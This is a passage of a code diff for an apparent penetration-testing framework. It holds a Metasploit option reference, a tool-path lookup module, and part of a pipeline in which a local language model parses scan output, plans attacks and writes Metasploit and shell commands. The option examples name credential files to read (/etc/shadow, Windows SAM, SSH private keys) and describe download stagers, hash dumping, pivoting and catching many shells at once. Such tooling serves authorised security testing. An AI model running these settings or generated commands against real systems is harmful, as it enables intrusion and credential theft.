(param=value¶m2=value2), JSON ({\"key\": \"val\"}), ' + 'XML, or raw data. The format should match the Content-Type header.', + 'input_type': 'string', + 'examples': [ + 'username=admin&password=test', + '{"user":"admin","pass":"secret"}', + 'admin', + 'cmd=whoami', + ], + 'default': None, + 'aliases': ['POSTDATA', 'BODY', 'HTTP_DATA', 'REQUEST_BODY'], + 'category': 'http', + 'required': False, + 'notes': 'URL-encode special characters in form data. For JSON, ensure quotes are ' + 'escaped properly. Capture real requests with Burp to get exact format.', + }, + + # ========================================================================= + # SSH-SPECIFIC OPTIONS + # ========================================================================= + 'SSH_TIMEOUT': { + 'description': 'Timeout in seconds for establishing SSH connections. If the target ' + 'does not respond within this time, the connection attempt is aborted. ' + 'Affects the initial TCP connection and SSH handshake. Increase for ' + 'high-latency networks, firewalled hosts, or slow systems.', + 'input_type': 'integer', + 'examples': ['10', '30', '60', '120'], + 'default': '30', + 'aliases': ['TIMEOUT', 'CONNECTION_TIMEOUT'], + 'category': 'ssh', + 'required': False, + 'notes': 'Too short may miss slow targets. Too long wastes time on dead hosts. ' + 'Start with 30s, increase to 60-120s for distant or filtered targets.', + }, + 'SSH_KEYFILE_B64': { + 'description': 'Base64-encoded SSH private key for authentication. Alternative to ' + 'providing a key file path. Useful when the key is stored in a database ' + 'or passed programmatically rather than read from disk.', + 'input_type': 'string', + 'examples': [ + 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVE...', + 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVkt...', + ], + 'default': None, + 'aliases': ['KEY_B64', 'SSH_KEY_B64'], + 'category': 'ssh', + 'required': False, + 'notes': 'Base64-encode key: cat id_rsa | base64 -w0. Useful for automation and API calls.', + }, + + # ========================================================================= + # COMMAND EXECUTION OPTIONS + # ========================================================================= + 'CMD': { + 'description': 'The shell command to execute on the target system after successful ' + 'exploitation. The command runs with the privileges of the compromised ' + 'user or service. For Windows use cmd.exe syntax, for Linux use bash. ' + 'Complex commands may need proper escaping or base64 encoding.', + 'input_type': 'string', + 'examples': [ + 'whoami', + 'id', + 'cat /etc/passwd', + 'net user', + 'ipconfig /all', + 'uname -a', + 'powershell -enc ', + ], + 'default': None, + 'aliases': ['COMMAND', 'EXEC', 'EXECUTE', 'RUN'], + 'category': 'execution', + 'required': False, + 'notes': 'Commands run as the exploited user/service - check with whoami/id first. ' + 'Avoid interactive commands. Use full paths if PATH is limited.', + }, + 'CMDSTAGER': { + 'description': 'The method used to stage and execute commands on the target. Different ' + 'stagers work better in different environments. VBS and PowerShell for ' + 'Windows, curl/wget for Linux, certutil for restricted Windows.', + 'input_type': 'enum', + 'examples': ['auto', 'vbs', 'powershell', 'curl', 'wget', 'certutil', 'tftp'], + 'default': 'auto', + 'aliases': ['STAGER', 'CMD_STAGER'], + 'category': 'execution', + 'required': False, + 'notes': 'auto selects best method. Try certutil/bitsadmin on hardened Windows. ' + 'curl/wget need outbound access. tftp works without full shell.', + }, + + # ========================================================================= + # FILE OPERATION OPTIONS + # ========================================================================= + 'RFILE': { + 'description': 'Full path to the file on the remote/target system to read, download, ' + 'or manipulate. Use forward slashes (/) for Linux/Unix and backslashes ' + '(\\) for Windows. Requires appropriate permissions on the target.', + 'input_type': 'path', + 'examples': [ + '/etc/passwd', + '/etc/shadow', + '/home/user/.ssh/id_rsa', + 'C:\\Windows\\System32\\config\\SAM', + 'C:\\Users\\Admin\\Desktop\\secrets.txt', + '/var/www/html/config.php', + ], + 'default': None, + 'aliases': ['REMOTE_FILE', 'FILE', 'PATH', 'FILEPATH'], + 'category': 'file', + 'required': False, + 'notes': 'High-value targets: /etc/shadow (Linux hashes), SAM/SYSTEM (Windows hashes), ' + 'SSH keys, config files with credentials, .bash_history, web.config.', + }, + 'LFILE': { + 'description': 'Full path on your local system where files will be saved (for downloads) ' + 'or read from (for uploads). Ensure the directory exists and you have ' + 'write permissions. Organize loot in dedicated directories.', + 'input_type': 'file_path', + 'examples': [ + '/tmp/downloaded_file', + '/root/loot/target_passwd', + '/home/user/exfil/data.txt', + './loot/credentials.txt', + ], + 'default': None, + 'aliases': ['LOCAL_FILE', 'LOCALPATH', 'SAVEPATH'], + 'category': 'file', + 'required': False, + 'notes': 'Create organized directories: loot/, exfil/, downloads/. Use descriptive names ' + 'including target and date. Ensure write permissions before running module.', + }, + + # ========================================================================= + # ADDITIONAL COMMON OPTIONS + # ========================================================================= + 'WORKSPACE': { + 'description': 'The Metasploit workspace to use for organizing data. Workspaces keep ' + 'hosts, services, and loot separated by engagement. Useful for managing ' + 'multiple assessments or clients.', + 'input_type': 'string', + 'examples': ['default', 'client_acme', 'internal_2024', 'webapp_test'], + 'default': 'default', + 'aliases': ['WS'], + 'category': 'database', + 'required': False, + 'notes': 'Create per-engagement workspaces to avoid data mixing. Use "workspace" ' + 'command in msfconsole to list and switch.', + }, + 'BLANK_PASSWORDS': { + 'description': 'Whether to try blank/empty passwords during authentication attempts. ' + 'Many systems have accounts with no password set, especially default ' + 'or test accounts.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['EMPTY_PASSWORDS', 'TRY_BLANK'], + 'category': 'auth', + 'required': False, + 'notes': 'Often successful on default installs, test environments, and misconfigured ' + 'systems. Quick win before full password attacks.', + }, + 'USER_AS_PASS': { + 'description': 'Whether to try the username as the password. Many users set their ' + 'password to match their username, especially on internal systems.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['USERNAME_AS_PASSWORD'], + 'category': 'auth', + 'required': False, + 'notes': 'Common lazy password pattern. Try before heavy wordlist attacks.', + }, + 'STOP_ON_SUCCESS': { + 'description': 'Whether to stop scanning/brute-forcing after the first successful ' + 'result. Enable for quick wins, disable to find all valid credentials.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['ABORT_ON_SUCCESS'], + 'category': 'scan', + 'required': False, + 'notes': 'Disable to enumerate all valid creds. Enable when you just need one way in.', + }, + 'BRUTEFORCE_SPEED': { + 'description': 'Speed setting for brute force attacks. Higher speeds are faster but ' + 'more likely to trigger lockouts and detection. Lower speeds are stealthier.', + 'input_type': 'integer', + 'examples': ['1', '2', '3', '4', '5'], + 'default': '5', + 'aliases': ['SPEED'], + 'category': 'auth', + 'required': False, + 'notes': '5=fastest/loudest, 1=slowest/stealthiest. Use 2-3 for production systems ' + 'with lockout policies. 5 okay for CTF/lab environments.', + }, + 'AutoRunScript': { + 'description': 'Script to automatically run when a session is created. Useful for ' + 'automating post-exploitation tasks like migration, persistence, or ' + 'privilege escalation checks.', + 'input_type': 'string', + 'examples': [ + 'post/windows/manage/migrate', + 'post/multi/manage/autoroute', + 'post/windows/gather/hashdump', + ], + 'default': None, + 'aliases': ['AUTORUN', 'InitialAutoRunScript'], + 'category': 'session', + 'required': False, + 'notes': 'Common: migrate (move to stable process), autoroute (pivot), hashdump (creds). ' + 'Chain multiple scripts with semicolons.', + }, + 'PrependMigrate': { + 'description': 'Automatically migrate to a new process after payload execution. ' + 'Improves stability by moving out of the exploited process which may crash.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['MIGRATE'], + 'category': 'payload', + 'required': False, + 'notes': 'Recommended for exploits targeting unstable processes. Target process ' + 'set with PrependMigrateProc option.', + }, + 'DisablePayloadHandler': { + 'description': 'Whether to skip starting a handler for the payload. Enable when using ' + 'an external handler (multi/handler) or for payloads that connect to ' + 'an existing listener.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['NOHANDLER'], + 'category': 'payload', + 'required': False, + 'notes': 'Enable when running multi/handler separately. Useful for mass exploitation ' + 'where one handler catches multiple shells.', + }, +} + + +# ============================================================================= +# CATEGORY DESCRIPTIONS +# ============================================================================= + +SETTING_CATEGORIES = { + 'target': { + 'name': 'Target Options', + 'description': 'Settings that define what system(s) to attack', + 'color': 'RED', + }, + 'local': { + 'name': 'Local/Listener Options', + 'description': 'Settings for your local machine (callbacks, listeners)', + 'color': 'GREEN', + }, + 'auth': { + 'name': 'Authentication Options', + 'description': 'Credentials and authentication settings', + 'color': 'YELLOW', + }, + 'payload': { + 'name': 'Payload Options', + 'description': 'Settings for the payload delivered after exploitation', + 'color': 'MAGENTA', + }, + 'connection': { + 'name': 'Connection Options', + 'description': 'Network connection settings (SSL, proxy, timeout)', + 'color': 'CYAN', + }, + 'scan': { + 'name': 'Scan Options', + 'description': 'Settings specific to scanning modules', + 'color': 'BLUE', + }, + 'session': { + 'name': 'Session Options', + 'description': 'Settings for working with existing sessions', + 'color': 'WHITE', + }, + 'database': { + 'name': 'Database Options', + 'description': 'Database-related settings', + 'color': 'CYAN', + }, + 'output': { + 'name': 'Output Options', + 'description': 'Logging and output settings', + 'color': 'WHITE', + }, + 'smb': { + 'name': 'SMB Options', + 'description': 'SMB/Windows-specific settings', + 'color': 'BLUE', + }, + 'http': { + 'name': 'HTTP Options', + 'description': 'HTTP/Web-specific settings', + 'color': 'GREEN', + }, + 'ssh': { + 'name': 'SSH Options', + 'description': 'SSH-specific settings', + 'color': 'YELLOW', + }, + 'execution': { + 'name': 'Execution Options', + 'description': 'Command execution settings', + 'color': 'RED', + }, + 'file': { + 'name': 'File Options', + 'description': 'File operation settings', + 'color': 'CYAN', + }, +} + + +# ============================================================================= +# API FUNCTIONS +# ============================================================================= + +def get_setting_info(name: str) -> Optional[Dict[str, Any]]: + """Get information about an MSF setting. + + Args: + name: Setting name (case-insensitive). + + Returns: + Dictionary with setting info, or None if not found. + """ + # Normalize name + name_upper = name.upper() + + # Direct lookup + if name_upper in MSF_SETTINGS: + return MSF_SETTINGS[name_upper].copy() + + # Check aliases + for setting_name, info in MSF_SETTINGS.items(): + aliases = [a.upper() for a in info.get('aliases', [])] + if name_upper in aliases: + result = info.copy() + result['canonical_name'] = setting_name + return result + + return None + + +def get_setting_description(name: str) -> str: + """Get just the description for a setting. + + Args: + name: Setting name. + + Returns: + Description string, or 'Unknown setting' if not found. + """ + info = get_setting_info(name) + if info: + return info['description'] + return f"Unknown setting: {name}" + + +def get_setting_prompt(name: str, default: Any = None, required: bool = False) -> str: + """Get a formatted input prompt for a setting. + + Args: + name: Setting name. + default: Default value to show. + required: Whether the setting is required. + + Returns: + Formatted prompt string. + """ + info = get_setting_info(name) + + if info: + # Build prompt with examples + examples = info.get('examples', []) + example_str = f" (e.g., {examples[0]})" if examples else "" + + if default is not None: + return f"{name}{example_str} [{default}]: " + elif required: + return f"{name}{example_str} (required): " + else: + return f"{name}{example_str}: " + else: + if default is not None: + return f"{name} [{default}]: " + return f"{name}: " + + +def format_setting_help(name: str, include_examples: bool = True, include_notes: bool = True) -> str: + """Get a formatted help text for a setting. + + Args: + name: Setting name. + include_examples: Whether to include examples. + include_notes: Whether to include notes. + + Returns: + Formatted help string. + """ + info = get_setting_info(name) + + if not info: + return f"No help available for: {name}" + + lines = [info['description']] + + if include_examples and info.get('examples'): + examples = ', '.join(info['examples'][:3]) + lines.append(f"Examples: {examples}") + + if info.get('default'): + lines.append(f"Default: {info['default']}") + + if include_notes and info.get('notes'): + lines.append(f"Note: {info['notes']}") + + return '\n'.join(lines) + + +def get_settings_by_category(category: str) -> Dict[str, Dict]: + """Get all settings in a category. + + Args: + category: Category name. + + Returns: + Dictionary of setting name -> info. + """ + return { + name: info for name, info in MSF_SETTINGS.items() + if info.get('category') == category + } + + +def get_common_settings() -> List[str]: + """Get list of most commonly used settings. + + Returns: + List of setting names. + """ + return [ + 'RHOSTS', 'RHOST', 'RPORT', + 'LHOST', 'LPORT', + 'USERNAME', 'PASSWORD', + 'PAYLOAD', 'THREADS', 'SSL', + ] + + +def get_category_info(category: str) -> Optional[Dict[str, str]]: + """Get information about a setting category. + + Args: + category: Category name. + + Returns: + Dictionary with category info, or None if not found. + """ + return SETTING_CATEGORIES.get(category) + + +def list_all_settings() -> List[str]: + """Get list of all known setting names. + + Returns: + List of setting names. + """ + return list(MSF_SETTINGS.keys()) + + +def list_categories() -> List[str]: + """Get list of all setting categories. + + Returns: + List of category names. + """ + return list(SETTING_CATEGORIES.keys()) + + +def validate_setting_value(name: str, value: str) -> tuple: + """Validate a value for a setting. + + Args: + name: Setting name. + value: Value to validate. + + Returns: + Tuple of (is_valid, error_message or None). + """ + info = get_setting_info(name) + + if not info: + return True, None # Unknown settings pass through + + input_type = info.get('input_type', 'string') + + if input_type == 'port': + try: + port = int(value) + if not (1 <= port <= 65535): + return False, "Port must be between 1 and 65535" + except ValueError: + return False, "Port must be a number" + + elif input_type == 'integer': + try: + int(value) + except ValueError: + return False, "Must be a number" + + elif input_type == 'boolean': + if value.lower() not in ('true', 'false', 'yes', 'no', '1', '0'): + return False, "Must be true/false, yes/no, or 1/0" + + elif input_type == 'ip': + import re + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$' + if not re.match(ip_pattern, value): + # Could be a hostname, which is also valid + if not re.match(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]*$', value): + return False, "Must be a valid IP address or hostname" + + elif input_type == 'port_range': + # Validate port range format + import re + if not re.match(r'^[\d,\-\s]+$', value): + return False, "Invalid port range format. Use: 22 or 1-1000 or 22,80,443" + + return True, None + + +# ============================================================================= +# QUICK REFERENCE +# ============================================================================= + +def print_quick_reference(): + """Print a quick reference of common settings.""" + print("MSF Settings Quick Reference") + print("=" * 60) + + for category in ['target', 'local', 'auth', 'payload', 'connection']: + cat_info = SETTING_CATEGORIES.get(category, {}) + print(f"\n{cat_info.get('name', category.upper())}") + print("-" * 40) + + settings = get_settings_by_category(category) + for name, info in settings.items(): + desc = info['description'][:50] + "..." if len(info['description']) > 50 else info['description'] + print(f" {name:15} - {desc}") + + +if __name__ == "__main__": + # Test the module + print_quick_reference() + + print("\n" + "=" * 60) + print("Testing get_setting_info('RHOSTS'):") + print(format_setting_help('RHOSTS')) + + print("\n" + "=" * 60) + print("Testing get_setting_prompt('RPORT', default=445):") + print(get_setting_prompt('RPORT', default=445)) diff --git a/core/paths.py b/core/paths.py new file mode 100644 index 0000000..9ea7183 --- /dev/null +++ b/core/paths.py @@ -0,0 +1,263 @@ +""" +AUTARCH Path Resolution +Centralized path management for cross-platform portability. + +All paths resolve relative to the application root directory. +Tool lookup checks project directories first, then system PATH. +""" + +import os +import platform +import shutil +from pathlib import Path +from typing import Optional, List + + +# ── Application Root ──────────────────────────────────────────────── + +# Computed once: the autarch project root (parent of core/) +_APP_DIR = Path(__file__).resolve().parent.parent + + +def get_app_dir() -> Path: + """Return the AUTARCH application root directory.""" + return _APP_DIR + + +def get_core_dir() -> Path: + return _APP_DIR / 'core' + + +def get_modules_dir() -> Path: + return _APP_DIR / 'modules' + + +def get_data_dir() -> Path: + d = _APP_DIR / 'data' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_config_path() -> Path: + return _APP_DIR / 'autarch_settings.conf' + + +def get_results_dir() -> Path: + d = _APP_DIR / 'results' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_reports_dir() -> Path: + d = get_results_dir() / 'reports' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_dossiers_dir() -> Path: + d = _APP_DIR / 'dossiers' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_uploads_dir() -> Path: + d = get_data_dir() / 'uploads' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_backups_dir() -> Path: + d = _APP_DIR / 'backups' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_templates_dir() -> Path: + return _APP_DIR / '.config' + + +def get_custom_configs_dir() -> Path: + d = _APP_DIR / '.config' / 'custom' + d.mkdir(parents=True, exist_ok=True) + return d + + +# ── Platform Detection ────────────────────────────────────────────── + +def _get_arch() -> str: + """Return architecture string: 'x86_64', 'arm64', etc.""" + machine = platform.machine().lower() + if machine in ('aarch64', 'arm64'): + return 'arm64' + elif machine in ('x86_64', 'amd64'): + return 'x86_64' + return machine + + +def get_platform() -> str: + """Return platform: 'linux', 'windows', or 'darwin'.""" + return platform.system().lower() + + +def get_platform_tag() -> str: + """Return platform-arch tag like 'linux-arm64', 'windows-x86_64'.""" + return f"{get_platform()}-{_get_arch()}" + + +def is_windows() -> bool: + return platform.system() == 'Windows' + + +def is_linux() -> bool: + return platform.system() == 'Linux' + + +def is_mac() -> bool: + return platform.system() == 'Darwin' + + +# ── Tool / Binary Lookup ─────────────────────────────────────────── +# +# Priority order: +# 1. System PATH (shutil.which — native binaries, correct arch) +# 2. Platform-specific well-known install locations +# 3. Platform-specific project tools (tools/linux-arm64/, etc.) +# 4. Generic project directories (android/, tools/, bin/) +# 5. Extra paths passed by caller +# + +# Well-known install locations by platform (last resort) +_PLATFORM_SEARCH_PATHS = { + 'windows': [ + Path(os.environ.get('LOCALAPPDATA', '')) / 'Android' / 'Sdk' / 'platform-tools', + Path(os.environ.get('USERPROFILE', '')) / 'Android' / 'Sdk' / 'platform-tools', + Path('C:/Program Files (x86)/Nmap'), + Path('C:/Program Files/Nmap'), + Path('C:/Program Files/Wireshark'), + Path('C:/Program Files (x86)/Wireshark'), + Path('C:/metasploit-framework/bin'), + ], + 'darwin': [ + Path('/opt/homebrew/bin'), + Path('/usr/local/bin'), + ], + 'linux': [ + Path('/usr/local/bin'), + Path('/snap/bin'), + ], +} + +# Tools that need extra environment setup when run from bundled copies +_TOOL_ENV_SETUP = { + 'nmap': '_setup_nmap_env', +} + + +def _setup_nmap_env(tool_path: str): + """Set NMAPDIR so bundled nmap finds its data files.""" + tool_dir = Path(tool_path).parent + nmap_data = tool_dir / 'nmap-data' + if nmap_data.is_dir(): + os.environ['NMAPDIR'] = str(nmap_data) + + +def _is_native_binary(path: str) -> bool: + """Check if an ELF binary matches the host architecture.""" + try: + with open(path, 'rb') as f: + magic = f.read(20) + if magic[:4] != b'\x7fELF': + return True # Not ELF (script, etc.) — assume OK + # ELF e_machine at offset 18 (2 bytes, little-endian) + e_machine = int.from_bytes(magic[18:20], 'little') + arch = _get_arch() + if arch == 'arm64' and e_machine == 183: # EM_AARCH64 + return True + if arch == 'x86_64' and e_machine == 62: # EM_X86_64 + return True + if arch == 'arm64' and e_machine == 62: # x86-64 on arm64 host + return False + if arch == 'x86_64' and e_machine == 183: # arm64 on x86-64 host + return False + return True # Unknown arch combo — let it try + except Exception: + return True # Can't read — assume OK + + +def find_tool(name: str, extra_paths: Optional[List[str]] = None) -> Optional[str]: + """ + Find an executable binary by name. + + Search order: + 1. System PATH (native binaries, correct architecture) + 2. Platform-specific well-known install locations + 3. Platform-specific project tools (tools/linux-arm64/ etc.) + 4. Generic project directories (android/, tools/, bin/) + 5. Extra paths provided by caller + + Skips binaries that don't match the host architecture (e.g. x86-64 + binaries on ARM64 hosts) to avoid FEX/emulation issues with root. + + Returns absolute path string, or None if not found. + """ + # On Windows, append .exe if no extension + names = [name] + if is_windows() and '.' not in name: + names.append(name + '.exe') + + # 1. System PATH (most reliable — native packages) + found = shutil.which(name) + if found and _is_native_binary(found): + return found + + # 2. Platform-specific well-known locations + plat = get_platform() + for search_dir in _PLATFORM_SEARCH_PATHS.get(plat, []): + if search_dir.is_dir(): + for n in names: + full = search_dir / n + if full.is_file() and os.access(str(full), os.X_OK) and _is_native_binary(str(full)): + return str(full) + + # 3-4. Bundled project directories + plat_tag = get_platform_tag() + search_dirs = [ + _APP_DIR / 'tools' / plat_tag, # Platform-specific (tools/linux-arm64/) + _APP_DIR / 'android', # Android tools + _APP_DIR / 'tools', # Generic tools/ + _APP_DIR / 'bin', # Generic bin/ + ] + + for tool_dir in search_dirs: + if tool_dir.is_dir(): + for n in names: + full = tool_dir / n + if full.is_file() and os.access(str(full), os.X_OK): + found = str(full) + if not _is_native_binary(found): + continue # Wrong arch — skip + # Apply environment setup for bundled tools + env_fn = _TOOL_ENV_SETUP.get(name) + if env_fn: + globals()[env_fn](found) + return found + + # 5. Extra paths from caller + if extra_paths: + for p in extra_paths: + for n in names: + full = os.path.join(p, n) + if os.path.isfile(full) and os.access(full, os.X_OK) and _is_native_binary(full): + return full + + # Last resort: return system PATH result even if wrong arch (FEX may work for user) + found = shutil.which(name) + if found: + return found + + return None + + +def tool_available(name: str) -> bool: + """Check if a tool is available anywhere.""" + return find_tool(name) is not None diff --git a/core/pentest_pipeline.py b/core/pentest_pipeline.py new file mode 100644 index 0000000..2407b9b --- /dev/null +++ b/core/pentest_pipeline.py @@ -0,0 +1,703 @@ +""" +AUTARCH Pentest Pipeline +Three-module architecture (Parsing -> Reasoning -> Generation) +based on PentestGPT's USENIX paper methodology. +Uses AUTARCH's local LLM via llama-cpp-python. +""" + +import re +from typing import Optional, List, Dict, Any, Tuple +from datetime import datetime + +from .pentest_tree import PentestTree, PTTNode, PTTNodeType, NodeStatus +from .config import get_config + + +# ─── Source type detection patterns ────────────────────────────────── + +SOURCE_PATTERNS = { + 'nmap': re.compile(r'Nmap scan report|PORT\s+STATE\s+SERVICE|nmap', re.IGNORECASE), + 'msf_scan': re.compile(r'auxiliary/scanner|msf\d?\s*>.*auxiliary|^\[\*\]\s.*scanning', re.IGNORECASE | re.MULTILINE), + 'msf_exploit': re.compile(r'exploit/|meterpreter|session\s+\d+\s+opened|^\[\*\]\s.*exploit', re.IGNORECASE | re.MULTILINE), + 'msf_post': re.compile(r'post/|meterpreter\s*>', re.IGNORECASE), + 'web': re.compile(r'HTTP/\d| str: + """Auto-detect tool output type from content patterns.""" + for source, pattern in SOURCE_PATTERNS.items(): + if pattern.search(output[:2000]): + return source + return 'manual' + + +# ─── Prompt Templates ──────────────────────────────────────────────── + +PARSING_SYSTEM_PROMPT = """You are a penetration testing output parser. Extract key findings from raw tool output. + +Given raw output from a security tool, extract and summarize: +1. Open ports and services (with versions when available) +2. Vulnerabilities or misconfigurations found +3. Credentials or sensitive information discovered +4. Operating system and software versions +5. Any error messages or access denials + +Rules: +- Be concise. Use bullet points. +- Include specific version numbers, port numbers, and IP addresses. +- Prefix exploitable findings with [VULN] +- Prefix credentials with [CRED] +- Note failed attempts and why they failed. +- Do not speculate beyond what the output shows. + +Format your response as: +SUMMARY: one line description +FINDINGS: +- finding 1 +- finding 2 +- [VULN] vulnerability finding +STATUS: success/partial/failed""" + +REASONING_SYSTEM_PROMPT = """You are a penetration testing strategist. You maintain a task tree and decide next steps. + +You will receive: +1. The current task tree showing completed and todo tasks +2. New findings from the latest tool execution + +Your job: +1. UPDATE the tree based on new findings +2. DECIDE the single most important next task + +Rules: +- Prioritize exploitation paths with highest success likelihood. +- If a service version is known, suggest checking for known CVEs. +- After recon, focus on the most promising attack surface. +- Do not add redundant tasks. +- Mark tasks not-applicable if findings make them irrelevant. + +Respond in this exact format: +TREE_UPDATES: +- ADD: parent_id | node_type | priority | task description +- COMPLETE: node_id | findings summary +- NOT_APPLICABLE: node_id | reason + +NEXT_TASK: description of the single most important next action +REASONING: 1-2 sentences explaining why this is the highest priority""" + +GENERATION_SYSTEM_PROMPT = """You are a penetration testing command generator. Convert task descriptions into specific executable commands. + +Available tools: +- shell: Run shell command. Args: {"command": "...", "timeout": 30} +- msf_search: Search MSF modules. Args: {"query": "search term"} +- msf_module_info: Module details. Args: {"module_type": "auxiliary|exploit|post", "module_name": "path"} +- msf_execute: Run MSF module. Args: {"module_type": "...", "module_name": "...", "options": "{\\"RHOSTS\\": \\"...\\"}" } +- msf_sessions: List sessions. Args: {} +- msf_session_command: Command in session. Args: {"session_id": "...", "command": "..."} +- msf_console: MSF console command. Args: {"command": "..."} + +Rules: +- Provide the EXACT tool name and JSON arguments. +- Describe what to look for in the output. +- If multiple steps needed, number them. +- Always include RHOSTS/target in module options. +- Prefer auxiliary scanners before exploits. + +Format: +COMMANDS: +1. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for +2. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for +FALLBACK: alternative approach if primary fails""" + +INITIAL_PLAN_PROMPT = """You are a penetration testing strategist planning an engagement. + +Target: {target} + +Create an initial reconnaissance plan. List the first 3-5 specific tasks to perform, ordered by priority. + +Format: +TASKS: +1. node_type | priority | task description +2. node_type | priority | task description +3. node_type | priority | task description + +FIRST_ACTION: description of the very first thing to do +REASONING: why start here""" + +DISCUSS_SYSTEM_PROMPT = """You are a penetration testing expert assistant. Answer the user's question about their current engagement. + +Current target: {target} + +Current status: +{tree_summary} + +Answer concisely and provide actionable advice.""" + + +# ─── Pipeline Modules ──────────────────────────────────────────────── + +class ParsingModule: + """Normalizes raw tool output into structured summaries.""" + + def __init__(self, llm): + self.llm = llm + self.config = get_config() + + def parse(self, raw_output: str, source_type: str = "auto", + context: str = "") -> dict: + """Parse raw tool output into normalized summary. + + Returns dict with 'summary', 'findings', 'status', 'raw_source'. + """ + if source_type == "auto": + source_type = detect_source_type(raw_output) + + chunk_size = 2000 + try: + chunk_size = self.config.get_int('pentest', 'output_chunk_size', 2000) + except Exception: + pass + + chunks = self._chunk_output(raw_output, chunk_size) + + all_findings = [] + all_summaries = [] + status = "unknown" + + for i, chunk in enumerate(chunks): + prefix = f"[{source_type} output" + if len(chunks) > 1: + prefix += f" part {i+1}/{len(chunks)}" + prefix += "]" + + message = f"{prefix}\n{chunk}" + if context: + message = f"Context: {context}\n\n{message}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=PARSING_SYSTEM_PROMPT, + temperature=0.2, + max_tokens=512, + ) + except Exception as e: + return { + 'summary': f"Parse error: {e}", + 'findings': [], + 'status': 'failed', + 'raw_source': source_type, + } + + summary, findings, chunk_status = self._parse_response(response) + all_summaries.append(summary) + all_findings.extend(findings) + if chunk_status != "unknown": + status = chunk_status + + return { + 'summary': " | ".join(all_summaries) if all_summaries else "No summary", + 'findings': all_findings, + 'status': status, + 'raw_source': source_type, + } + + def _chunk_output(self, output: str, max_chunk: int = 2000) -> List[str]: + """Split large output into chunks.""" + if len(output) <= max_chunk: + return [output] + chunks = [] + lines = output.split('\n') + current = [] + current_len = 0 + for line in lines: + if current_len + len(line) + 1 > max_chunk and current: + chunks.append('\n'.join(current)) + current = [] + current_len = 0 + current.append(line) + current_len += len(line) + 1 + if current: + chunks.append('\n'.join(current)) + return chunks + + def _parse_response(self, response: str) -> Tuple[str, List[str], str]: + """Extract summary, findings, and status from LLM response.""" + summary = "" + findings = [] + status = "unknown" + + # Extract SUMMARY + m = re.search(r'SUMMARY:\s*(.+)', response, re.IGNORECASE) + if m: + summary = m.group(1).strip() + + # Extract FINDINGS + findings_section = re.search( + r'FINDINGS:\s*\n((?:[-*]\s*.+\n?)+)', + response, re.IGNORECASE + ) + if findings_section: + for line in findings_section.group(1).strip().split('\n'): + line = re.sub(r'^[-*]\s*', '', line).strip() + if line: + findings.append(line) + + # Extract STATUS + m = re.search(r'STATUS:\s*(\w+)', response, re.IGNORECASE) + if m: + status = m.group(1).strip().lower() + + # Fallback: if structured parse failed, use full response + if not summary and not findings: + summary = response[:200].strip() + for line in response.split('\n'): + line = line.strip() + if line.startswith(('-', '*', '[VULN]', '[CRED]')): + findings.append(re.sub(r'^[-*]\s*', '', line)) + + return summary, findings, status + + +class ReasoningModule: + """Maintains PTT and decides next actions.""" + + def __init__(self, llm, tree: PentestTree): + self.llm = llm + self.tree = tree + + def reason(self, parsed_output: dict, context: str = "") -> dict: + """Three-step reasoning: update tree, validate, extract next todo. + + Returns dict with 'tree_updates', 'next_task', 'reasoning'. + """ + tree_summary = self.tree.render_summary() + + findings_text = parsed_output.get('summary', '') + if parsed_output.get('findings'): + findings_text += "\nFindings:\n" + for f in parsed_output['findings']: + findings_text += f"- {f}\n" + + message = ( + f"Current pentest tree:\n{tree_summary}\n\n" + f"New information ({parsed_output.get('raw_source', 'unknown')}):\n" + f"{findings_text}" + ) + if context: + message += f"\n\nAdditional context: {context}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=REASONING_SYSTEM_PROMPT, + temperature=0.3, + max_tokens=1024, + ) + except Exception as e: + return { + 'tree_updates': [], + 'next_task': f"Error during reasoning: {e}", + 'reasoning': str(e), + } + + updates = self._parse_tree_updates(response) + self._apply_updates(updates) + + next_task = "" + m = re.search(r'NEXT_TASK:\s*(.+)', response, re.IGNORECASE) + if m: + next_task = m.group(1).strip() + + reasoning = "" + m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE | re.DOTALL) + if m: + reasoning = m.group(1).strip().split('\n')[0] + + # Fallback: if no NEXT_TASK parsed, get from tree + if not next_task: + todo = self.tree.get_next_todo() + if todo: + next_task = todo.label + + return { + 'tree_updates': updates, + 'next_task': next_task, + 'reasoning': reasoning, + } + + def _parse_tree_updates(self, response: str) -> List[dict]: + """Extract tree operations from LLM response.""" + updates = [] + + # Parse ADD operations + for m in re.finditer( + r'ADD:\s*(\S+)\s*\|\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + parent = m.group(1).strip() + if parent.lower() in ('root', 'none', '-'): + parent = None + ntype_str = m.group(2).strip().lower() + ntype = self._map_node_type(ntype_str) + updates.append({ + 'operation': 'add', + 'parent_id': parent, + 'node_type': ntype, + 'priority': int(m.group(3)), + 'label': m.group(4).strip(), + }) + + # Parse COMPLETE operations + for m in re.finditer( + r'COMPLETE:\s*(\S+)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + updates.append({ + 'operation': 'complete', + 'node_id': m.group(1).strip(), + 'findings': m.group(2).strip(), + }) + + # Parse NOT_APPLICABLE operations + for m in re.finditer( + r'NOT_APPLICABLE:\s*(\S+)\s*\|\s*(.+)', + response, re.IGNORECASE + ): + updates.append({ + 'operation': 'not_applicable', + 'node_id': m.group(1).strip(), + 'reason': m.group(2).strip(), + }) + + return updates + + def _map_node_type(self, type_str: 